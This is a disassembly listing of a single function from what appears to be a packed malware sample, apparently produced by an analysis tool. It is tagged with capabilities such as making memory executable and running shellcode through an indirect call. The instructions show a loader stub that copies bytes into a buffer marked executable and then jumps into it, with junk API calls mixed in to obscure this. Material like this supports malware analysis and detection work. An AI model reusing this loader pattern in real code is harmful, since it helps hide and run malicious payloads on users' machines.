Function at 0x401648
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Move file
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1428
call fcn.0040ed40
mov ecx, dword [0x85d154]
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x401838
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x85d258], eax
mov dword [0x85d154], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x85d0ac], eax
push ecx
push 0x40
push dword [0x85d154]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x4016a6
mov ecx, dword [0x85d154]
mov edi, esi
test ecx, ecx
je 0x401737
mov eax, dword [0x85d258]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x85d0ac]
mov byte [eax + edi], cl
mov ecx, dword [0x85d154]
cmp ecx, 0x490
jne 0x401732
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextAlign]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0xc28]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x828]
push eax
push str.dofedidumige
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x85d154]
inc edi
cmp edi, ecx
jb 0x4016c3
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4017af
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x828]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0xc28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0x428]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x1028]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x85d154]
inc edi
cmp edi, 0x38681
jl 0x401739
push ecx
call fcn.004015d6
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4017d0
call fcn.0040162c
inc edi
cmp edi, 0x674db
jl 0x4017c0
push 0x7b
pop edi
cmp dword [0x85d154], 0x86
jne 0x40181e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push str.wojufugaxiwacahezepawaridecojop_xobawudol
push 0x418060
call dword [sym.imp.KERNEL32.dll_CopyFileW]
dec edi
jne 0x4017dc
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x85d0ac]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.orasedaboh
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x428]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
push esi
lea eax, [ebp - 0x1428]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403809
push esi
call fcn.00402986
pop ecx
pop ecx
push esi
call fcn.00403c1f
int3